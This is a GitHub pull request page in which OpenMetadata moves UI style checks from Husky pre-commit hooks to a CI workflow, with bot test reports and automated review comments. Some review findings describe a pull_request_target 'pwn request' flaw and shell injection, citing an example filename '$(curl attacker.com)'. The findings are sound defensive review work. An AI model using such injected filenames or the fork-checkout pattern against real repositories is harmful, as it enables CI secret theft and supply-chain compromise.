Skip to content

ci: ui checkstyle workflow in favour to remove pre-commit - #26445

Merged
chirag-madlani merged 42 commits into
mainfrom
migrat-pre-commit
Mar 20, 2026
Merged

chirag-madlani merged 42 commits into
mainfrom
migrat-pre-commit

Conversation

@chirag-madlani

@chirag-madlani chirag-madlani commented Mar 12, 2026 •

Copy link
Copy Markdown
Collaborator

This pull request makes significant improvements to type safety and code clarity in the UI core components by replacing generic any types with specific ThemeColors and related interfaces, especially in theming and button utilities. It also cleans up and modernizes the codebase by removing unused configuration files and dependencies, updating scripts, and refining formatting and Playwright-related settings.

Type safety and theming improvements:

  • Replaced any with ThemeColors in theme-related functions and components, such as in button-theme.ts, data-display-theme.ts, form-theme.ts, and navigation-theme.ts, ensuring better type safety and clearer contracts for color configuration. [1] [2] [3] [4] [5] [6]
  • Introduced and used specific interfaces (ButtonShadows, ColorVariantConfig, etc.) for button constants and color variants, further improving type safety and code readability in buttonConstants.ts. [1] [2] [3] [4]
  • Updated palette generation logic in generateMuiPalettes.ts to use proper typings for shade keys and improved assignment to ColorPalette.

Codebase and configuration cleanup:

  • Removed .husky/pre-commit and .lintstagedrc.yaml files, and dropped related dependencies (husky, lint-staged) from package.json, shifting away from Husky/lint-staged for pre-commit checks. [1] [2] [3]
  • Refactored and expanded npm scripts in package.json for linting, formatting, organizing imports, and Playwright/test utilities, making development workflows more explicit and modular.

Formatting and Playwright improvements:

  • Added Playwright output and test-data directories to .prettierignore to avoid formatting generated artifacts.
  • Improved code formatting and readability in Playwright scripts (check_search_index_status.mjs, check_trigger_search_index.mjs) by expanding object literals and clarifying async logic. [1] [2] [3]

These changes collectively make the codebase more maintainable, type-safe, and developer-friendly.

Describe your changes:

Fixes

I worked on ... because ...

Type of change:

  • Bug fix
  • Improvement
  • New feature
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • Documentation

Checklist:

  • I have read the CONTRIBUTING document.
  • My PR title is Fixes <issue-number>: <short explanation>
  • I have commented on my code, particularly in hard-to-understand areas.
  • For JSON Schema changes: I updated the migration scripts or explained why it is not needed.

@chirag-madlani
chirag-madlani requested a review from Copilot March 12, 2026 15:41
@github-actions github-actions Bot added safe to test Add this label to run secure Github workflows on PRs UI UI specific issues labels Mar 12, 2026
Comment thread .github/workflows/ui-checkstyle.yml Resolved
Comment thread .github/workflows/ui-checkstyle.yml Resolved

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR updates the OpenMetadata UI code-style enforcement approach by introducing a dedicated GitHub Actions workflow for UI checkstyle, cleaning up local git-hook tooling, and aligning formatting configuration/ignores.

Changes:

  • Added a new .github/workflows/ui-checkstyle.yml workflow to run UI checkstyle steps on PRs (with changed-file detection and PR commenting).
  • Removed Husky hook setup and related dependency entries from the UI package.json/yarn.lock, and deleted the .husky/pre-commit hook file.
  • Updated Prettier configuration (trailingComma) and expanded .prettierignore for Playwright outputs/test data.

Reviewed changes

Copilot reviewed 6 out of 7 changed files in this pull request and generated 4 comments.

Show a summary per file
File Description
.github/workflows/ui-checkstyle.yml Adds a PR-triggered UI checkstyle workflow with changed-file detection, caching, and PR comments on failures.
openmetadata-ui/src/main/resources/ui/package.json Removes Husky/lint-staged-related setup and dependencies as part of moving checks to CI.
openmetadata-ui/src/main/resources/ui/yarn.lock Updates lockfile to reflect removed dependencies.
openmetadata-ui/src/main/resources/ui/.prettierrc.yaml Adjusts Prettier formatting rules (trailing commas).
openmetadata-ui/src/main/resources/ui/.prettierignore Ignores Playwright-generated outputs and test fixtures to avoid formatting artifacts.
openmetadata-ui/src/main/resources/ui/.husky/pre-commit Removes the Husky pre-commit hook script.
openmetadata-ui/src/main/resources/ui/playwright/e2e/Features/ImpactAnalysis.spec.ts Updates copyright year and modifies an import formatting.
Comments suppressed due to low confidence (1)

openmetadata-ui/src/main/resources/ui/package.json:236

  • lint-staged (and husky) were removed from devDependencies, but .lintstagedrc.yaml is still present and CI runs npx lint-staged via scripts/lint-staged.sh. Relying on npx here means the version is no longer pinned to the repo (non-deterministic results) and local installs won’t have lint-staged available. Consider keeping lint-staged as a devDependency even if husky is removed, and have CI run yarn pre-commit (or yarn lint-staged) to use the locked version.
    "jest-sonar-reporter": "^2.0.0",
    "less": "4.1.3",
    "license-check-and-add": "^4.0.5",
    "organize-imports-cli": "^0.10.0",
    "pinst": "^3.0.0",
    "postcss": "8.4.31",
    "prettier": "2.8.8",
    "react-test-renderer": "^18.2.0",
    "sync-i18n": "^0.0.20",

You can also share your feedback on Copilot code review. Take the survey.

Comment thread .github/workflows/ui-checkstyle.yml Resolved
Comment thread .github/workflows/ui-checkstyle.yml Resolved
Comment thread .github/workflows/ui-checkstyle.yml Resolved
@github-actions

github-actions Bot commented Mar 12, 2026 •

Copy link
Copy Markdown
Contributor

Jest test Coverage

UI tests summary

Lines Statements Branches Functions
Coverage: 64%
64.99% (58007/89242) 44.77% (30676/68513) 47.75% (9176/19213)

@github-actions

github-actions Bot commented Mar 12, 2026 •

Copy link
Copy Markdown
Contributor

🟡 Playwright Results — all passed (15 flaky)

✅ 3394 passed · ❌ 0 failed · 🟡 15 flaky · ⏭️ 183 skipped

Shard Passed Failed Flaky Skipped
🟡 Shard 1 454 0 1 2
✅ Shard 2 305 0 0 1
🟡 Shard 3 671 0 4 33
🟡 Shard 4 685 0 3 41
🟡 Shard 5 671 0 1 73
🟡 Shard 6 608 0 6 33
🟡 15 flaky test(s) (passed on retry)
  • Features/DataAssetRulesDisabled.spec.ts › Verify the SearchIndex entity item action after rules disabled (shard 1, 1 retry)
  • Features/DataQuality/TestCaseIncidentPermissions.spec.ts › User with TEST_CASE.EDIT_ALL can see edit icon on incidents (shard 3, 1 retry)
  • Features/DataQuality/TestCaseResultPermissions.spec.ts › User with only VIEW cannot PATCH results (shard 3, 1 retry)
  • Features/ImpactAnalysis.spec.ts › Verify Upstream connections (shard 3, 1 retry)
  • Features/Permissions/GlossaryPermissions.spec.ts › Team-based permissions work correctly (shard 3, 1 retry)
  • Pages/Customproperties-part2.spec.ts › entityReferenceList shows item count, scrollable list, no expand toggle (shard 4, 1 retry)
  • Pages/DataContractsSemanticRules.spec.ts › Validate Description Rule Is_Set (shard 4, 1 retry)
  • Pages/DescriptionVisibility.spec.ts › Customized Table detail page Description widget shows long description (shard 4, 1 retry)
  • Pages/EntityDataSteward.spec.ts › Tag Add, Update and Remove (shard 5, 1 retry)
  • Pages/ExplorePageRightPanel.spec.ts › Should allow Data Consumer to edit tier for searchIndex (shard 6, 1 retry)
  • Pages/HyperlinkCustomProperty.spec.ts › should accept valid http and https URLs (shard 6, 1 retry)
  • Pages/ODCSImportExport.spec.ts › Multi-object ODCS contract - object selector shows all schema objects (shard 6, 1 retry)
  • Pages/Tag.spec.ts › Verify Owner Add Delete (shard 6, 1 retry)
  • Pages/Users.spec.ts › Permissions for table details page for Data Consumer (shard 6, 1 retry)
  • VersionPages/EntityVersionPages.spec.ts › Directory (shard 6, 1 retry)

📦 Download artifacts

How to debug locally
# Download playwright-test-results-<shard> artifact and unzip
npx playwright show-trace path/to/trace.zip    # view trace

Comment thread .github/workflows/ui-checkstyle.yml Resolved
Comment thread .github/workflows/ui-checkstyle.yml Resolved
@github-actions

Copy link
Copy Markdown
Contributor

❌ TypeScript Type Check Failed (playwright)

View type errors (first 50 lines)
yarn run v1.22.22
$ tsc --project playwright/tsconfig.json --noEmit
playwright/e2e/Features/AdvancedSearch.spec.ts(235,11): error TS2322: Type 'string | undefined' is not assignable to type 'string'.
  Type 'undefined' is not assignable to type 'string'.
playwright/e2e/Features/AdvancedSearch.spec.ts(236,11): error TS2322: Type 'string | undefined' is not assignable to type 'string'.
  Type 'undefined' is not assignable to type 'string'.
playwright/e2e/Features/AdvancedSearch.spec.ts(239,38): error TS2339: Property 'serviceType' does not exist on type 'ResponseDataType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(240,38): error TS2339: Property 'serviceType' does not exist on type 'ResponseDataType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(243,11): error TS18048: 'topic1.entityResponseData.messageSchema' is possibly 'undefined'.
playwright/e2e/Features/AdvancedSearch.spec.ts(243,11): error TS18048: 'topic1.entityResponseData.messageSchema.schemaFields' is possibly 'undefined'.
playwright/e2e/Features/AdvancedSearch.spec.ts(244,11): error TS18048: 'topic2.entityResponseData.messageSchema' is possibly 'undefined'.
playwright/e2e/Features/AdvancedSearch.spec.ts(244,11): error TS18048: 'topic2.entityResponseData.messageSchema.schemaFields' is possibly 'undefined'.
playwright/e2e/Features/AdvancedSearch.spec.ts(247,11): error TS18048: 'EntityDataClass.container1.entityResponseData.dataModel' is possibly 'undefined'.
playwright/e2e/Features/AdvancedSearch.spec.ts(249,11): error TS18048: 'EntityDataClass.container2.entityResponseData.dataModel' is possibly 'undefined'.
playwright/e2e/Features/AdvancedSearch.spec.ts(253,60): error TS2339: Property 'dataModelType' does not exist on type 'ResponseDataWithServiceType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(254,60): error TS2339: Property 'dataModelType' does not exist on type 'ResponseDataWithServiceType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(261,56): error TS2339: Property 'tasks' does not exist on type 'ResponseDataWithServiceType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(262,56): error TS2339: Property 'tasks' does not exist on type 'ResponseDataWithServiceType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(269,66): error TS2339: Property 'responseSchema' does not exist on type 'ResponseDataType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(271,66): error TS2339: Property 'responseSchema' does not exist on type 'ResponseDataType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(275,66): error TS2339: Property 'requestSchema' does not exist on type 'ResponseDataType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(277,66): error TS2339: Property 'requestSchema' does not exist on type 'ResponseDataType'.
playwright/e2e/Features/AdvancedSearch.spec.ts(285,11): error TS2322: Type 'string | undefined' is not assignable to type 'string'.
  Type 'undefined' is not assignable to type 'string'.
playwright/e2e/Features/AdvancedSearch.spec.ts(286,11): error TS2322: Type 'string | undefined' is not assignable to type 'string'.
  Type 'undefined' is not assignable to type 'string'.
playwright/e2e/Features/Container.spec.ts(165,9): error TS2322: Type '"STRUCT"' is not assignable to type 'DataType'.
playwright/e2e/Features/Container.spec.ts(173,13): error TS2322: Type '"VARCHAR"' is not assignable to type 'DataType'.
playwright/e2e/Features/CronValidations.spec.ts(41,9): error TS6133: 'cronInvalidMinuteMessage' is declared but its value is never read.
playwright/e2e/Features/DataQuality/TableLevelTests.spec.ts(700,59): error TS2345: Argument of type '{ serviceType: string; connection: { config: { type: string; scheme: string; hostPort: string; credentials: { gcpConfig: { type: string; privateKey: string; authUri: string; tokenUri: string; authProviderX509CertUrl: string; }; gcpImpersonateServiceAccount: { ...; }; }; ... 14 more ...; costPerTB: number; }; }; }' is not assignable to parameter of type 'Partial<Service>'.
  The types of 'connection.config' are incompatible between these types.
    Type '{ type: string; scheme: string; hostPort: string; credentials: { gcpConfig: { type: string; privateKey: string; authUri: string; tokenUri: string; authProviderX509CertUrl: string; }; gcpImpersonateServiceAccount: { ...; }; }; ... 14 more ...; costPerTB: number; }' is missing the following properties from type '{ type: string; scheme: string; username: string; authType: { password: string; }; hostPort: string; supportsMetadataExtraction: boolean; supportsDBTExtraction: boolean; supportsProfiler: boolean; supportsQueryComment: boolean; }': username, authType
playwright/e2e/Features/DataQuality/TableLevelTests.spec.ts(701,59): error TS2345: Argument of type '{ serviceType: string; connection: { config: { type: string; scheme: string; hostPort: string; credentials: { gcpConfig: { type: string; privateKey: string; authUri: string; tokenUri: string; authProviderX509CertUrl: string; }; gcpImpersonateServiceAccount: { ...; }; }; ... 14 more ...; costPerTB: number; }; }; }' is not assignable to parameter of type 'Partial<Service>'.
  The types of 'connection.config' are incompatible between these types.
    Type '{ type: string; scheme: string; hostPort: string; credentials: { gcpConfig: { type: string; privateKey: string; authUri: string; tokenUri: string; authProviderX509CertUrl: string; }; gcpImpersonateServiceAccount: { ...; }; }; ... 14 more ...; costPerTB: number; }' is missing the following properties from type '{ type: string; scheme: string; username: string; authType: { password: string; }; hostPort: string; supportsMetadataExtraction: boolean; supportsDBTExtraction: boolean; supportsProfiler: boolean; supportsQueryComment: boolean; }': username, authType
playwright/e2e/Features/DataQuality/TestCaseIncidentPermissions.spec.ts(107,9): error TS6133: 'incidentStateId' is declared but its value is never read.
playwright/e2e/Features/DomainFilterQueryFilter.spec.ts(65,46): error TS2345: Argument of type 'TableClass' is not assignable to parameter of type '{ patch: (options: { apiContext: APIRequestContext; patchData: Operation[]; }) => Promise<void>; }'.
  The types returned by 'patch(...)' are incompatible between these types.
    Type 'Promise<{ entity: Table; }>' is not assignable to type 'Promise<void>'.
      Type '{ entity: Table; }' is not assignable to type 'void'.
playwright/e2e/Features/DomainFilterQueryFilter.spec.ts(100,46): error TS2345: Argument of type 'TableClass' is not assignable to parameter of type '{ patch: (options: { apiContext: APIRequestContext; patchData: Operation[]; }) => Promise<void>; }'.
  The types returned by 'patch(...)' are incompatible between these types.
    Type 'Promise<{ entity: Table; }>' is not assignable to type 'Promise<void>'.
      Type '{ entity: Table; }' is not assignable to type 'void'.
playwright/e2e/Features/DomainFilterQueryFilter.spec.ts(101,46): error TS2345: Argument of type 'TableClass' is not assignable to parameter of type '{ patch: (options: { apiContext: APIRequestContext; patchData: Operation[]; }) => Promise<void>; }'.
  The types returned by 'patch(...)' are incompatible between these types.
    Type 'Promise<{ entity: Table; }>' is not assignable to type 'Promise<void>'.
      Type '{ entity: Table; }' is not assignable to type 'void'.
playwright/e2e/Features/DomainFilterQueryFilter.spec.ts(134,46): error TS2345: Argument of type 'TableClass' is not assignable to parameter of type '{ patch: (options: { apiContext: APIRequestContext; patchData: Operation[]; }) => Promise<void>; }'.
  The types returned by 'patch(...)' are incompatible between these types.

Fix locally:

yarn tsc:playwright

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 161 out of 164 changed files in this pull request and generated 5 comments.


You can also share your feedback on Copilot code review. Take the survey.

Comment thread .github/workflows/ui-checkstyle.yml Resolved
Comment thread .github/workflows/ui-checkstyle.yml Resolved

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 161 out of 164 changed files in this pull request and generated 5 comments.


You can also share your feedback on Copilot code review. Take the survey.

Comment thread .github/workflows/ui-checkstyle.yml Resolved
karanh37
karanh37 previously approved these changes Mar 20, 2026
Comment thread .github/workflows/ui-checkstyle.yml Resolved
karanh37
karanh37 previously approved these changes Mar 20, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 162 out of 165 changed files in this pull request and generated 5 comments.

Comment thread .github/workflows/ui-checkstyle.yml Resolved
aniketkatkar97
aniketkatkar97 previously approved these changes Mar 20, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 162 out of 165 changed files in this pull request and generated 1 comment.

Comments suppressed due to low confidence (3)

openmetadata-ui/src/main/resources/ui/src/utils/QueryBuilderUtils.tsx:538

  • JsonLogic now uses [key: string]: unknown, but the implementation still treats properties like and as JsonLogic[] (e.g., flattenAndClauses(clause.and)). With unknown, this should fail type-checking. Consider modeling the known JsonLogic structure explicitly (e.g., and?: JsonLogic[]; or?: JsonLogic[]; plus an index signature) or narrowing/casting before passing to flattenAndClauses.
    openmetadata-ui/src/main/resources/ui/src/components/common/MUIAsyncTreeSelect/atoms/TreeDropdown/TreeDropdown.tsx:46
  • handleClickAway uses event.currentTarget as the dropdown element and checks dropdownElement.contains(target). For ClickAwayListener, event.currentTarget is typically the document, so this condition will almost always be true and prevent onClickAway() from firing. Use a ref to the dropdown Paper element (or rely on ClickAwayListener’s built-in inside/outside detection) instead of event.currentTarget.
    openmetadata-ui/src/main/resources/ui/src/components/common/atoms/data/useDataFetching.tsx:64
  • DataFetchingConfig.transform is typed as (data: SearchResponse<SearchIndex>) => T[], but SearchResponse<SearchIndex> represents a union of all search indices, so the default transform (hit._source) is not assignable to arbitrary T (only to the constraint { id: string }). This will make setEntities(transformedEntities) unsafe and is likely to fail type-checking once tsc is enabled. Consider parameterizing the hook by the specific index (SI extends SearchIndex) and using SearchResponse<SI> throughout, or otherwise narrowing/casting _source to T in a controlled way.

Comment on lines 14 to 26
"scripts": {
"start": "vite",
"build": "NODE_OPTIONS=\"${NODE_OPTIONS:---max-old-space-size=6144}\" vite build",
"preview": "vite preview",
"postinstall": "yarn run build-check",
"preinstall": "cd ../../../../.. && yarn install --frozen-lockfile && cd openmetadata-ui-core-components/src/main/resources/ui && yarn install && yarn build",
"pre-commit": "lint-staged --concurrent false",
"test": "jest --passWithNoTests",
"prepare": "cd ../../../../.. && husky install openmetadata-ui/src/main/resources/ui/.husky",
"test:watch": "jest --passWithNoTests --watch",
"test:coverage": "jest --passWithNoTests --coverage",
"test:cov-summary": "jest --passWithNoTests --coverage --coverageReporters json-summary",
"lint": "NODE_OPTIONS='--max-old-space-size=8192' eslint \"./src/**/*.{js,jsx,ts,tsx,json}\"",
"lint:fix": "NODE_OPTIONS='--max-old-space-size=8192' eslint './src/**/*.{js,jsx,ts,tsx,json}' --fix",
"lint:playwright": "eslint './playwright/**/*.{ts,tsx}'",
"pretty": "prettier . --config './.prettierrc.yaml' --ignore-path './.prettierignore' --write",
"build-check": "yarn run js-antlr && yarn run parse-schema",
"commit-check": "yarn run pretty && yarn run build",
"license-header-check": "license-check-and-add check -f .licenseheaderrc.json",

Copilot AI Mar 20, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR removes scripts/lint-staged.sh (and the lint-staged tooling), but the repo-level .pre-commit-config.yaml still has a local hook (id: lint-staged) that runs scripts/lint-staged.sh. With the script removed, running pre-commit will fail. Update/remove that hook or replace it with the new yarn ui-checkstyle/equivalent entry point.

Copilot uses AI. Check for mistakes.
Comment thread .github/workflows/ui-checkstyle.yml Resolved

@github-advanced-security github-advanced-security AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CodeQL found more than 20 potential problems in the proposed changes. Check the Files changed tab for more details.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 162 out of 165 changed files in this pull request and generated 1 comment.

Comments suppressed due to low confidence (4)

openmetadata-ui/src/main/resources/ui/src/utils/QueryBuilderUtils.tsx:538

  • JsonLogic was changed to an index signature of unknown, but this file accesses properties like clause.and and treats them as arrays (e.g., flattenAndClauses(clause.and) and if (clause.and)). With unknown, those usages become type errors under strict (cannot use unknown in condition / pass to JsonLogic[]). Define explicit optional fields on JsonLogic (e.g., and?: JsonLogic[]; or?: JsonLogic[]; etc.) and/or narrow with Array.isArray(...) before using them, instead of relying on an unknown index signature alone.
    openmetadata-ui/src/main/resources/ui/src/components/common/atoms/table/useCellRenderer.tsx:68
  • entity[column?.key || 'owners'] no longer type-checks now that entity is typed as T (not any) and T does not have an index signature. Either constrain T to include the relevant fields (e.g., T & Record<string, unknown>) or access dynamic keys via a safe cast (e.g., const entityRecord = entity as Record<string, unknown>), then validate the result is the expected array shape before using .length / indexing.
    openmetadata-ui/src/main/resources/ui/src/components/common/atoms/table/useCellRenderer.tsx:130
  • Same issue as owners renderer: entity[column?.key || 'tags'] is invalid with entity: T and no index signature. Please use a typed accessor (column.getValue) or read dynamic keys via Record<string, unknown> + runtime narrowing to the expected tags array type before using it.
    openmetadata-ui/src/main/resources/ui/src/components/common/MUIAsyncTreeSelect/atoms/TreeDropdown/TreeDropdown.tsx:45
  • ClickAwayListener already only invokes onClickAway for clicks outside its child. The additional dropdownElement.contains(target) check is incorrect because event.currentTarget in the native document listener is typically the document, so document.contains(target) is always true and the dropdown will never close. Remove this manual containment check, or compare against an explicit ref to the dropdown element instead of event.currentTarget.

aniketkatkar97
aniketkatkar97 previously approved these changes Mar 20, 2026
@gitar-bot

gitar-bot Bot commented Mar 20, 2026 •

Copy link
Copy Markdown
Code Review ⚠️ Changes requested 19 resolved / 20 findings

Replaces pre-commit with a GitHub Actions UI checkstyle workflow but the TypeScript Type Check step references an undefined $CHANGED_FILES variable, causing the guard condition to always skip.

⚠️ Bug: $CHANGED_FILES is undefined in tsc step — guard always skips

📄 .github/workflows/ui-checkstyle.yml:675 📄 .github/workflows/ui-checkstyle.yml:677

The TypeScript Type Check (playwright) step at line 677 checks if [ -z "$CHANGED_FILES" ], but unlike the lint steps above it, this step does not declare CHANGED_FILES in an env: block. The variable will always be empty, so the guard will always trigger exit 0, effectively skipping the tsc check entirely even when playwright files have changed.

Note: yarn tsc:playwright runs a whole-project type check and doesn't take a file list anyway, so the empty-file guard is unnecessary here — the if: condition on any_changed is sufficient.

Suggested fix
- name: TypeScript Type Check (playwright)
  id: tsc
  if: steps.changed-files.outputs.any_changed == 'true'
  working-directory: ${{ env.UI_WORKING_DIRECTORY }}
  run: |
    if ! yarn tsc:playwright > /tmp/tsc_output.txt 2>&1; then
      ERRORS=$(head -50 /tmp/tsc_output.txt | sed 's/`/\`/g')
      echo "tsc_errors<<EOF" >> "$GITHUB_OUTPUT"
      echo "$ERRORS" >> "$GITHUB_OUTPUT"
      echo "EOF" >> "$GITHUB_OUTPUT"
      exit 1
    fi
✅ 19 resolved
✅ Quality: Test file has intentionally broken formatting for demo

📄 openmetadata-ui/src/main/resources/ui/playwright/e2e/Features/ImpactAnalysis.spec.ts:24
The ImpactAnalysis.spec.ts change introduces unnecessary whitespace in the import statement (lines 24-26) and bumps the copyright year from 2025 to 2026. This appears to be a deliberate change to test the checkstyle workflow, but if merged it would leave the file with broken formatting. This should either be reverted before merge or confirmed as intentional test data.

✅ Security: pull_request_target + fork checkout = pwn request vulnerability

📄 .github/workflows/ui-checkstyle.yml:17 📄 .github/workflows/ui-checkstyle.yml:70 📄 .github/workflows/ui-checkstyle.yml:117 📄 .github/workflows/ui-checkstyle.yml:128 📄 .github/workflows/ui-checkstyle.yml:132 📄 .github/workflows/ui-checkstyle.yml:152 📄 .github/workflows/ui-checkstyle.yml:186 🔗 GitHub Security Lab: Preventing pwn requests
The workflow uses pull_request_target (which grants a write-scoped GITHUB_TOKEN for the base repository) but then checks out github.event.pull_request.head.sha — i.e., untrusted code from a fork — in all three jobs. It then directly executes that untrusted code:

  1. sudo make install_antlr_cli (line 128) — runs the fork's Makefile as root
  2. yarn install --frozen-lockfile (line 132) — installs packages from the fork's package.json/yarn.lock, which can contain arbitrary postinstall scripts
  3. ./scripts/lint-staged.sh (line 186) — runs a shell script from the fork checkout

An attacker can open a PR from a fork, modify any of these files to exfiltrate secrets or use the GITHUB_TOKEN (which has pull-requests: write on the base repo) for malicious purposes.

This is the classic "pwn request" / poisoned pipeline execution vulnerability.

Fix options:

  • Option A (recommended): Split into two workflows: (1) a pull_request workflow that runs the untrusted code in a sandboxed context without secrets, then uploads results as an artifact; (2) a workflow_run workflow that downloads the artifact and posts comments using the privileged token.
  • Option B: Use pull_request trigger instead of pull_request_target. This limits the token to read-only for fork PRs but means you can't post PR comments directly (use a separate privileged workflow for that).
  • Option C: If you must use pull_request_target, only checkout the base ref for executing scripts, and only use the PR head ref for reading/diffing source files (never executing them).
✅ Security: Shell injection via unquoted file list expansion

📄 .github/workflows/ui-checkstyle.yml:176 📄 .github/workflows/ui-checkstyle.yml:90 📄 .github/workflows/ui-checkstyle.yml:139
In the ui-checkstyle job, the CHANGED_FILES environment variable is used unquoted in git add $CHANGED_FILES (line 176). While the file list comes from tj-actions/changed-files, filenames with spaces or shell metacharacters could cause unexpected behavior or injection. Similarly, in the changed-files job (line 90), ${{ steps.changed.outputs.all_changed_files }} is directly interpolated into a shell command via the run: block, which is vulnerable to command injection if any changed filename contains shell metacharacters (e.g., a filename like $(curl attacker.com)).

✅ Security: GitHub expression injection via ${{ github.base_ref }} in run

📄 .github/workflows/ui-checkstyle.yml:131 📄 .github/workflows/ui-checkstyle.yml:135
Lines 130-131 and 135 interpolate ${{ github.base_ref }} directly into a run: shell block. This is a GitHub Actions script injection pattern — if an attacker can influence the base branch name (e.g., by opening a PR against a branch with shell metacharacters), arbitrary commands could execute.

While base_ref is lower-risk than head_ref (it must be a branch in the target repo), the safe pattern is to pass it through an environment variable, which shells treat as data rather than code.

✅ Quality: Missing newline at end of workflow file

📄 .github/workflows/ui-checkstyle.yml:169
The diff shows \ No newline at end of file on the last line of ui-checkstyle.yml. POSIX expects text files to end with a newline, and some tools may warn or behave unexpectedly without it.

...and 14 more resolved from earlier reviews

🤖 Prompt for agents
Code Review: Replaces pre-commit with a GitHub Actions UI checkstyle workflow but the TypeScript Type Check step references an undefined `$CHANGED_FILES` variable, causing the guard condition to always skip.

1. ⚠️ Bug: `$CHANGED_FILES` is undefined in tsc step — guard always skips
   Files: .github/workflows/ui-checkstyle.yml:675, .github/workflows/ui-checkstyle.yml:677

   The TypeScript Type Check (playwright) step at line 677 checks `if [ -z "$CHANGED_FILES" ]`, but unlike the lint steps above it, this step does not declare `CHANGED_FILES` in an `env:` block. The variable will always be empty, so the guard will always trigger `exit 0`, effectively skipping the tsc check entirely even when playwright files have changed.
   
   Note: `yarn tsc:playwright` runs a whole-project type check and doesn't take a file list anyway, so the empty-file guard is unnecessary here — the `if:` condition on `any_changed` is sufficient.

   Suggested fix:
   - name: TypeScript Type Check (playwright)
     id: tsc
     if: steps.changed-files.outputs.any_changed == 'true'
     working-directory: ${{ env.UI_WORKING_DIRECTORY }}
     run: |
       if ! yarn tsc:playwright > /tmp/tsc_output.txt 2>&1; then
         ERRORS=$(head -50 /tmp/tsc_output.txt | sed 's/`/\`/g')
         echo "tsc_errors<<EOF" >> "$GITHUB_OUTPUT"
         echo "$ERRORS" >> "$GITHUB_OUTPUT"
         echo "EOF" >> "$GITHUB_OUTPUT"
         exit 1
       fi

Options

Auto-apply is off → Gitar will not commit updates to this branch.
Display: compact → Showing less information.

Comment with these commands to change:

Auto-apply Compact
gitar auto-apply:on         
gitar display:verbose         

Was this helpful? React with 👍 / 👎 | Gitar

@sonarqubecloud

Copy link
Copy Markdown

This branch was previously deployed

1 inactive deployment
test — 19fddc38 Deployed Mar 20, 2026 by chirag-madlani via playwright-ci-postgresql (4, 6) #38134
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

safe to test Add this label to run secure Github workflows on PRs UI UI specific issues

Projects

None yet

Development

Successfully merging this pull request may close these issues.

6 participants